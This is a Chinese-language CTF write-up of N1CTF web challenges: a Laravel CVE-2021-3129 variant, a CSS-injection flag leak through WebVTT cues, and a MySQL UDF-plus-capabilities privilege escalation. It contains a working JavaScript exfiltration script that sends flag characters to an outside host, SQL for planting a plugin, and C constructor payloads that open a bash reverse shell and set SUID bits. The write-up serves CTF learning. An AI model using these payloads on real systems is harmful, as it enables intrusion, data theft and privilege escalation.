N1CTF复现游记

这周日做了N1CTF,作为一个老年web手的复健路上的第一步,我的评价是:找罪受

Signin-larvael

CVE-2021-3129 的变种之再变种,究极无敌变种,关键代码部分放在下面

public function makeOptional(array $parameters = [])
    {
 
        if(strpos($parameters['viewFile'], 'phar') !== false){
            die("error,no!");
        }
        if(strpos($parameters['viewFile'], 'log') !== false){
            die("error,no!");
        }
        $originalContents = file_get_contents($parameters['viewFile']);
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
 
        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));
 
        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
 
        if ($expectedTokens !== $newTokens) {
            return false;
        }
 
        return $newContents;
    }

所以没有log和phar协议使用了,借鉴代码审计星球中 Laravel CVE-2021-3129 无日志利用不难想到LFI的利用,但是直接打上去,会发现报错,invalid-charset,很简单,再嵌套一层 convert.quoted-printable-encode,将不可见字符处理掉即可。

CSS injection-ytiruces

这个题目在做的时候,不难发现关键点在于 DOMPurify.sanitize,这里能使用的标签便限制在了 style,我们继续推理,就能推出是 css injection,那么最常用的便是 css selector来leak数据了。但是这里和常规的题目不一样的点在于,flag在另外的路由中,那么如何把这样的数据引入到当前页面呢?这就是我一直卡住的点,看看大哥的解题

let base = 'https://ytiruces.ctfpunk.com';
let base2 = '/?content=%3Cvideo%20muted%20autoplay%20controls%20src=//o.cal1.cn/s.mp3%3E%3Ctrack%20default%20src=%22/flag?name=WEBVTT%250d00:00.000--%3E00:30.000%250d%3Cv%22/%3E%3Cstyle%3E$CSS$%3C/style%3E%3C/video%3E';

let genCSS = (known,u)=>{
    let pool = [
       [...'abcdefghi'], 
       [...'jklmnopqr'], 
       [...'stuvwxyz'], 
       [...'ABCDEFGHI'], 
       [...'JKLMNOPQR'], 
       [...'STUVWXYZ}'],
   ];
    let ret = '';
    for (let i of pool[u]) {
        ret += `::cue(v[voice^=%22 ${known}${i}%22]){background:url(//o.cal1.cn/?${known}${i})}`
    }
    return ret
}

let known = 'n1ctf{';

console.log([
    base + base2.replace('$CSS$', genCSS(known, 0)),
    base + base2.replace('$CSS$', genCSS(known, 1)),
    base + base2.replace('$CSS$', genCSS(known, 2)),
    base + base2.replace('$CSS$', genCSS(known, 3)),
    base + base2.replace('$CSS$', genCSS(known, 4)),
    base + base2.replace('$CSS$', genCSS(known, 5)), 
])

这个题目的解题思路,便是通过 WEBVTT来将 /flag的内容读取到页面中来,剩下的就是正常的leak内容。
20231023143223
这个路由的利用思路便是,提供WebVTT FILE的文件头

WEBVTT
00:00.000-->00:30.000
<v

20231023143435
建议参考w3-WEBVTT

UDF+Getcap 提权 EasySQL

sqlmap一把梭哈=>load_file(“/var/www/html/index.php”)=>secret=> 有写文件权限 => 写so 反弹shell => getcap -r / => 提权=> getflag

select {hex_file}  INTO DUMPFILE '/mysql/plugin/mysqludf.so';
create database mysql;
use mysql;
create table plugin(name varchar(64) NOT NULL,dl varchar(128) NOT NULL);
install plugin server_audit SONAME 'mysqludf.so';

中间要绕过一下--skip-grant-tables,就是没有mysql表
提权部分
5c9461a66602734a12d0f9b3a206872
其中两个so

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__((constructor)) void payload1(){
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}

提权

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>

__attribute__((constructor)) void payload1(){
    const char *file_path = "/path/to/your/file";  // 将文件路径替换为您想要授予SUID权限的文件

    // 获取文件的当前权限
    struct stat file_stat;
    if (stat(file_path, &file_stat) == -1) {
        perror("stat");
    }

    // 授予SUID权限
    if (chmod(file_path, file_stat.st_mode | S_ISUID) == -1) {
        perror("chmod");
    }

    printf("SUID权限已成功授予给文件:%s\n", file_path);
}